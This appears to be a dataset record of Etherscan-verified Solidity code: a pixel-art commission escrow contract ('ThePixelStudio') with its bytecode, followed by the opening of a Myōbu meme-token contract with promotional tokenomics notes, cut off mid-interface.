/** *Submitted for verification at Etherscan.io on 2021-10-25 */ pragma solidity ^0.8.2; // SPDX-License-Identifier: MIT // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▀ ▀▓▌▐▓▓▓▓▓▀▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓ ▓▓▌▝▚▞▜▓ ▀▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▄▀▓▌▐▓▌▐▓▄▀▀▀▓▓▓▓▓▓▓▓▓▓▛▀▀▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▛▀▀▀▄▄▄▄▄▄▄▛▀▀▀▓▓▓▛▀▀▀▓▓▓▙▄▄▄▛▀▀▀▓▓▓▛▀▀▀▙▄▄▄▓▓▓▛▀▀▀▄▄▄▄▄▄▄▛▀▀▀▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▀▀▀▜▓▓▓▓▓▓▓▓▓▓▌ ▀▀▀▀▀▀▀▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▀▀▀▀▀▀▀▓▓▓▓▓▓▓▌ ▓▓▓▛▀▀▀▙▄▄▄▓▓▓▙▄▄▄▛▀▀▀▓▓▓▓▓▓▓▀▀▀▀▀▀▀▀▀▀▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓ ▐▓▓▓▌ ▐▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓ ▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▌ ▓▓▓ ▐▓▓▓ ▐▓▓▓▓▌ ▓▓▓▓▓▓▓▓ ▐▓ ▐▓▓▓ ▐▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▙▄▄▄▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▐▓ ▐▓▓▓ ▐▓▓▓▓▓▓ ▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓ ▐▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓ ▐▓▓▓▓▓ ▐▓▓▓ ▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // // // // // // oOOOOOOOo °º¤øøøøøø¤º° ooOOOOOOOOOOOOOOoo °º¤øøøøøø¤º° oOOOOOOOo // OOOOOOOOOOOOOooooooooOOOOOOOOOOOOOOOOOOOOOOOOooooooooOOOOOOOOOOOOO // OOOOººººººººººººººººººººººººººººººººººººººººººººººººººººººººººOOOO // oOOO| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |OOOo // oOO| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |OOo // ¤ oO| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |Oo ¤ // O¤ O| ░░░░░░░░((((((((((((░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |O ¤O // O¤ O| ░░░░((((((((((((((((((░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |O ¤O // O¤ O| ░░((((((((((((((((((((((░░░░░░░░XXXXXXXXXXXXXX░░░░░░░░ |O ¤O // O¤ O| ░░(((((( (((░░░░░░XXXXXXXXXXXXXXXXXX░░░░░░ |O ¤O // ¤ oO| ░░(((( ((░░░░XXXXXXXXXXXXXX XXXXXX░░░░ |Oo ¤ // oOO| ░░(((( ▓▓░░░░XXXXXXXX XXXXXX░░ |OOo // oOOO| ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░XXXXXXXX XXXX░░ |OOOo // OOOO| ░░▓▓▓▓LLWWWW▓▓▓▓LLWWWW▓▓░░XXXX▓▓ ▓▓XX░░ |OOOO // OOOO| ▓▓ ((LL▓▓LL LL▓▓LL▓▓░░XX▓▓ MMMM MMMM▓▓XX░░ |OOOO // OOOO| ▓▓ ((LLLLLL LLLLLL▓▓░░XX▓▓ ▓▓\\ ▓▓\\▓▓XX░░ |OOOO // oOOO| ░░▓▓(( ▓▓░░▓▓ ▓▓ ▓▓XX░░ |OOOo // oOO| ░░▓▓(( ▓▓▓▓ ▓▓░░XX▓▓▓▓ ▓▓OO░░ |OOo // ¤ oO| ░░▓▓(( ▓▓░░XX░░▓▓ ▓▓ ▓▓XX░░ |Oo ¤ // O¤ O| ░░▓▓(( ▓▓(((((((( ▓▓░░XX░░▓▓ BB ▓▓XX░░ |O ¤O // O¤ O| ░░▓▓(((( ((▓▓▓▓▓▓(( ▓▓░░XX░░▓▓ BBBBBB ▓▓XX░░ |O ¤O // O¤ O| ░░▓▓(((((((( (( ((((▓▓XXXX░░░░▓▓ ▓▓░░XXXX |O ¤O // O¤ O| ░░▓▓((((((((((((((((((░░XXXXXX░░▓▓ ▓▓ ▓▓░░XXXXXX |O ¤O // ¤ oO| ░░▓▓░░ ▓▓((((((((((░░░░XXXXXX░░▓▓ ▓▓▓▓▓▓░░░░XXXXXX |Oo ¤ // oOO| ░░▓▓ ░░ ▓▓░░░░░░░░░░░░XXXXXX░░▓▓ ▓▓░░░░░░XXXXXX |OOo // oOOO| ░░▓▓ ░░▓▓░░░░░░░░░░░░XXXXXXHHHHHH ▓▓HH░░░░XXXXXX |OOOo // OOOOøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøOOOO // OOOOOOOOOOOOOººººººººOOOOOOOOOOOOOOOOOOOOOOOOººººººººOOOOOOOOOOOOO // ºOOOOOOOº ¸,øøøøøøøøø,¸ ººOOOOOOOOOOOOOOºº ¸,øøøøøøø,¸ ºOOOOOOOOº // ___________________________ // | Cloudedlogic & Lara | // ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ThePixelStudio { using SafeMath for uint256; enum CommissionStatus { queued, accepted, removed } struct Commission { address payable recipient; uint bid; CommissionStatus status; } uint MAX_INT = uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); address payable public admin; mapping (uint => Commission) public commissions; uint public minBid; // the number of wei required to create a commission uint public newCommissionIndex; // the index of the next commission which should be created in the mapping bool public callStarted; // ensures no re-entrancy can occur modifier callNotStarted () { require(!callStarted); callStarted = true; _; callStarted = false; } modifier onlyAdmin { require(msg.sender == admin, "not an admin"); _; } constructor(address payable _admin, uint _minBid) { admin = _admin; minBid = _minBid; newCommissionIndex = 1; } function updateAdmin (address payable _newAdmin) public callNotStarted onlyAdmin { admin = _newAdmin; emit AdminUpdated(_newAdmin); } function updateMinBid (uint _newMinBid) public callNotStarted onlyAdmin { minBid = _newMinBid; emit MinBidUpdated(_newMinBid); } function commission (string memory _id) public callNotStarted payable { require(msg.value >= minBid, "bid below minimum"); // must send the proper amount of into the bid // Next, initialize the new commission Commission storage newCommission = commissions[newCommissionIndex]; newCommission.recipient = payable(msg.sender); newCommission.bid = msg.value; newCommission.status = CommissionStatus.queued; emit NewCommission(newCommissionIndex, _id, msg.value, msg.sender); newCommissionIndex++; // for the subsequent commission to be added into the next slot } function batchCommission (string[] memory _ids, uint[] memory _bids ) public callNotStarted payable { require(_ids.length == _bids.length, "arrays unequal length"); uint sum = 0; for (uint i = 0; i < _ids.length; i++){ require(_bids[i] >= minBid, "bid below minimum"); // must send the proper amount of into the bid // Next, initialize the new commission Commission storage newCommission = commissions[newCommissionIndex]; newCommission.recipient = payable(msg.sender); newCommission.bid = _bids[i]; newCommission.status = CommissionStatus.queued; emit NewCommission(newCommissionIndex, _ids[i], _bids[i], msg.sender); newCommissionIndex++; // for the subsequent commission to be added into the next slot sum += _bids[i]; } require(msg.value == sum, "insufficient funds"); // must send the proper amount of into the bid } function rescindCommission (uint _commissionIndex) public callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued // we mark it as removed and return the individual their bid selectedCommission.status = CommissionStatus.removed; selectedCommission.recipient.transfer(selectedCommission.bid); emit CommissionRescinded(_commissionIndex); } function increaseCommissionBid (uint _commissionIndex) public payable callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued // then we update the commission's bid selectedCommission.bid = msg.value + selectedCommission.bid; emit CommissionBidUpdated(_commissionIndex, selectedCommission.bid); } function processCommissions(uint[] memory _commissionIndexes) public onlyAdmin callNotStarted { for (uint i = 0; i < _commissionIndexes.length; i++){ Commission storage selectedCommission = commissions[_commissionIndexes[i]]; require(selectedCommission.status == CommissionStatus.queued, "commission not in the queue"); // the queue my not be empty when processing more commissions selectedCommission.status = CommissionStatus.accepted; // first, we change the status of the commission to accepted admin.transfer(selectedCommission.bid); // next we accept the payment for the commission emit CommissionProcessed(_commissionIndexes[i], selectedCommission.status); } } event AdminUpdated(address _newAdmin); event MinBidUpdated(uint _newMinBid); event NewCommission(uint _commissionIndex, string _id, uint _bid, address _recipient); event CommissionBidUpdated(uint _commissionIndex, uint _newBid); event CommissionRescinded(uint _commissionIndex); event CommissionProcessed(uint _commissionIndex, CommissionStatus _status); }
0x6080604052600436106100c75760003560e01c8063a87dcf4b11610074578063dd4fce8d1161004e578063dd4fce8d1461020d578063e2f273bd1461022d578063f851a4401461024d57600080fd5b8063a87dcf4b146101c7578063ae59d62d146101e7578063bbe2f334146101fa57600080fd5b8063720dc00c116100a5578063720dc00c1461017457806381d9816b1461019e57806397d3335d146101b457600080fd5b806322b3a7c8146100cc5780633166fd1d1461012e5780633e109a1914610150575b600080fd5b3480156100d857600080fd5b506101166100e7366004610c3f565b60026020819052600091825260409091208054600182015491909201546001600160a01b039092169160ff1683565b60405161012593929190610c90565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610c3f565b610285565b005b34801561015c57600080fd5b5061016660035481565b604051908152602001610125565b34801561018057600080fd5b5060055461018e9060ff1681565b6040519015158152602001610125565b3480156101aa57600080fd5b5061016660045481565b61014e6101c2366004610d73565b610338565b3480156101d357600080fd5b5061014e6101e2366004610e37565b610437565b61014e6101f5366004610c3f565b61061e565b61014e610208366004610e6c565b6107a2565b34801561021957600080fd5b5061014e610228366004610c3f565b6109e6565b34801561023957600080fd5b5061014e610248366004610f40565b610b89565b34801561025957600080fd5b5060015461026d906001600160a01b031681565b6040516001600160a01b039091168152602001610125565b60055460ff161561029557600080fd5b60058054600160ff199091168117909155546001600160a01b031633146102f25760405162461bcd60e51b815260206004820152600c60248201526b3737ba1030b71030b236b4b760a11b60448201526064015b60405180910390fd5b60038190556040518181527f0b5f65d965d0754b2f28851c9536b1bdc2a759356fcb800d94b385d28505925a906020015b60405180910390a1506005805460ff19169055565b60055460ff161561034857600080fd5b6005805460ff1916600117905560035434101561039b5760405162461bcd60e51b81526020600482015260116024820152706269642062656c6f77206d696e696d756d60781b60448201526064016102e9565b6004805460009081526002602081905260409182902080546001600160a01b0319163390811782553460018301819055928201805460ff191690559354925190937f87e5123013ea92397f6e0cd4dbd0fe17f71d7e04d207c64c21d481b2071dc8f79361040c939092879290610f70565b60405180910390a16004805490600061042483611002565b90915550506005805460ff191690555050565b6001546001600160a01b031633146104805760405162461bcd60e51b815260206004820152600c60248201526b3737ba1030b71030b236b4b760a11b60448201526064016102e9565b60055460ff161561049057600080fd5b6005805460ff1916600117905560005b8151811015610610576000600260008484815181106104c1576104c161101d565b602002602001015181526020019081526020016000209050600060028111156104ec576104ec610c58565b60028083015460ff169081111561050557610505610c58565b146105525760405162461bcd60e51b815260206004820152601b60248201527f636f6d6d697373696f6e206e6f7420696e20746865207175657565000000000060448201526064016102e9565b60028101805460ff191660019081179091558054908201546040516001600160a01b03909216916108fc82150291906000818181858888f193505050501580156105a0573d6000803e3d6000fd5b507fd36b784449e85ccb8d578725530da585c25aaf6ef54064ccae12d0b27cf5967f8383815181106105d4576105d461101d565b602090810291909101015160028301546040516105f5929160ff1690611033565b60405180910390a1508061060881611002565b9150506104a0565b50506005805460ff19169055565b60055460ff161561062e57600080fd5b6005805460ff1916600117905560045481106106835760405162461bcd60e51b815260206004820152601460248201527318dbdb5b5a5cdcda5bdb881b9bdd081d985b1a5960621b60448201526064016102e9565b600081815260026020526040902080546001600160a01b031633146106e15760405162461bcd60e51b8152602060048201526014602482015273636f6d6d697373696f6e206e6f7420796f75727360601b60448201526064016102e9565b600060028083015460ff16908111156106fc576106fc610c58565b146107435760405162461bcd60e51b8152602060048201526017602482015276636f6d6d697373696f6e206e6f7420696e20717565756560481b60448201526064016102e9565b60018101546107529034611047565b600182018190556040805184815260208101929092527ff96ba3dd915a4302d3144436d0f02c55ce6b99cfb1db663dbd11d7b516281b3b91015b60405180910390a150506005805460ff19169055565b60055460ff16156107b257600080fd5b6005805460ff1916600117905580518251146108105760405162461bcd60e51b815260206004820152601560248201527f61727261797320756e657175616c206c656e677468000000000000000000000060448201526064016102e9565b6000805b8351811015610992576003548382815181106108325761083261101d565b6020026020010151101561087c5760405162461bcd60e51b81526020600482015260116024820152706269642062656c6f77206d696e696d756d60781b60448201526064016102e9565b600454600090815260026020526040902080546001600160a01b0319163317815583518490839081106108b1576108b161101d565b6020908102919091010151600182015560028101805460ff1916905560045485517f87e5123013ea92397f6e0cd4dbd0fe17f71d7e04d207c64c21d481b2071dc8f791908790859081106109075761090761101d565b60200260200101518685815181106109215761092161101d565b60200260200101513360405161093a9493929190610f70565b60405180910390a16004805490600061095283611002565b91905055508382815181106109695761096961101d565b60200260200101518361097c9190611047565b925050808061098a90611002565b915050610814565b508034146109d75760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b60448201526064016102e9565b50506005805460ff1916905550565b60055460ff16156109f657600080fd5b6005805460ff191660011790556004548110610a4b5760405162461bcd60e51b815260206004820152601460248201527318dbdb5b5a5cdcda5bdb881b9bdd081d985b1a5960621b60448201526064016102e9565b600081815260026020526040902080546001600160a01b03163314610aa95760405162461bcd60e51b8152602060048201526014602482015273636f6d6d697373696f6e206e6f7420796f75727360601b60448201526064016102e9565b600060028083015460ff1690811115610ac457610ac4610c58565b14610b0b5760405162461bcd60e51b8152602060048201526017602482015276636f6d6d697373696f6e206e6f7420696e20717565756560481b60448201526064016102e9565b6002818101805460ff19169091179055805460018201546040516001600160a01b03909216916108fc82150291906000818181858888f19350505050158015610b58573d6000803e3d6000fd5b506040518281527f419e8cf952fb14ddc459d5867720bb5cb18651c1d00e5755fed239f426a68a179060200161078c565b60055460ff1615610b9957600080fd5b60058054600160ff199091168117909155546001600160a01b03163314610bf15760405162461bcd60e51b815260206004820152600c60248201526b3737ba1030b71030b236b4b760a11b60448201526064016102e9565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527f54e4612788f90384e6843298d7854436f3a585b2c3831ab66abf1de63bfa6c2d90602001610323565b600060208284031215610c5157600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60038110610c8c57634e487b7160e01b600052602160045260246000fd5b9052565b6001600160a01b03841681526020810183905260608101610cb46040830184610c6e565b949350505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610cfb57610cfb610cbc565b604052919050565b600082601f830112610d1457600080fd5b813567ffffffffffffffff811115610d2e57610d2e610cbc565b610d41601f8201601f1916602001610cd2565b818152846020838601011115610d5657600080fd5b816020850160208301376000918101602001919091529392505050565b600060208284031215610d8557600080fd5b813567ffffffffffffffff811115610d9c57600080fd5b610cb484828501610d03565b600067ffffffffffffffff821115610dc257610dc2610cbc565b5060051b60200190565b600082601f830112610ddd57600080fd5b81356020610df2610ded83610da8565b610cd2565b82815260059290921b84018101918181019086841115610e1157600080fd5b8286015b84811015610e2c5780358352918301918301610e15565b509695505050505050565b600060208284031215610e4957600080fd5b813567ffffffffffffffff811115610e6057600080fd5b610cb484828501610dcc565b60008060408385031215610e7f57600080fd5b823567ffffffffffffffff80821115610e9757600080fd5b818501915085601f830112610eab57600080fd5b81356020610ebb610ded83610da8565b82815260059290921b84018101918181019089841115610eda57600080fd5b8286015b84811015610f1257803586811115610ef65760008081fd5b610f048c86838b0101610d03565b845250918301918301610ede565b5096505086013592505080821115610f2957600080fd5b50610f3685828601610dcc565b9150509250929050565b600060208284031215610f5257600080fd5b81356001600160a01b0381168114610f6957600080fd5b9392505050565b84815260006020608081840152855180608085015260005b81811015610fa45787810183015185820160a001528201610f88565b81811115610fb657600060a083870101525b5060408401869052601f01601f1916830160a0019150610fe3905060608301846001600160a01b03169052565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600060001982141561101657611016610fec565b5060010190565b634e487b7160e01b600052603260045260246000fd5b82815260408101610f696020830184610c6e565b6000821982111561105a5761105a610fec565b50019056fea2646970667358221220139fe2354e032ef999d5f6360880fbe28ccbf889886f3adeef3b1bf39f66ec6a64736f6c63430008090033
{"success": true, "error": null, "results": {}}
7,676
0x1ba3eef267f09b06b9320e2e955d3cda6b3a94ce
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ /** *Submitted for verification at Etherscan.io on 2021-06-04 */ /* Myōbu are celestial fox spirits with white fur and full, fluffy tails reminiscent of ripe grain. They are holy creatures, and bring happiness and blessings to those around them. With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping. 1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade. 3. No presale wallets that can dump on the community. Token Information 1. 1,000,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. 0,2% transaction limit on launch 6. Buy limit lifted after launch 7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed 9. 2% redistribution to holders on all buys 10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 11. Redistribution actually works! 12. 5-6% developer fee split within the team ..` `.. /dNdhmNy. .yNmhdMd/ yMMdhhhNMN- -NMNhhhdMMy oMMmhyhhyhMN- -NMhyhhyhmMMs /MMNhs/hhh++NM+ +MN++hhh/shNMM/ .NMNhy`:hyyh:-mMy` `yMm::hyyh:`yhNMN. `mMMdh. -hyohy..yNh.`............`.yNy..yhoyh- .hdMMm` hMMdh: .hyosho...-:--------------:-...ohsoyh. :hdMMh oMMmh+ .hyooyh/...-::---------:::-.../hyooyh. +hmMMo /MMNhs `hyoooyh-...://+++oo+++//:...-hyoooyh` shNMM/ .NMNhy` hhoooshysyhhhhhhhhhhhhhhhhysyhsooohh `yhNMN- `mMMdh. yhsyhyso+::-.```....```.--:/osyhyshy .hdMMm` yMMmh/ -so/-` .. `-/os- /hmMMh /MMyhy .` `` `. shyMM/ mN/+h/ /h+/Nm :N:.sh. .hs.:N/ s-./yh` `hy/.-s .`:/yh` `hy/:`- ``-//yh- .hy//-`` ``://oh+ ` ` +ho//:`` ``.://+yy` `+` `+` `yh+//:.`` ``-///+oho /y: :y/ ohs+///-`` ``:////+sh/ `` `yhs- -shy` `` /hs+////:`` ``:////++sh/ ```:syhs- -shys:``` /hs++////:`` ``://///++sho` `.-/+o/. ./o+/-.` `+hs++/////:`` ``://///+++oyy- ``..--. .--..`` -yyo+++/////:`` ``-/////+++++shs. ``... ...`` .ohs+++++/////-`` ``/////+++++++shs- ..` `.. -shs+++++++/////`` ``-/////++++++++oys- ..` `.. -syo++++++++/////-`` ``:////++++:-....+yy: .. .. :yy+....-:++++////:`` `.////+++:-......./yy: .. .. :yy/.......-:+++////.` `.////++ooo+/-...../yy/` .` `. `/yy/.....-/+ooo++////.` `.////+++oooos+/:...:sy/` . . `/ys:...:/+soooo+++////.` `.:////+++++ooooso/:.:sh+` . . `+hs:.:/osoooo+++++////:.` `-//////++++++ooooso++yh+....+hy++osoooo++++++//////-` `.:///////+++++++oooossyhoohyssoooo++++++////////:.` .:/+++++++++++++++ooosyysooo++++++++++++++//:. `-/+++++++++++++++oooooo+++++++++++++++/-` .-/++++++++++++++++++++++++++++++/-. `.-//++++++++++++++++++++//-.` `..-::://////:::-..` SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function 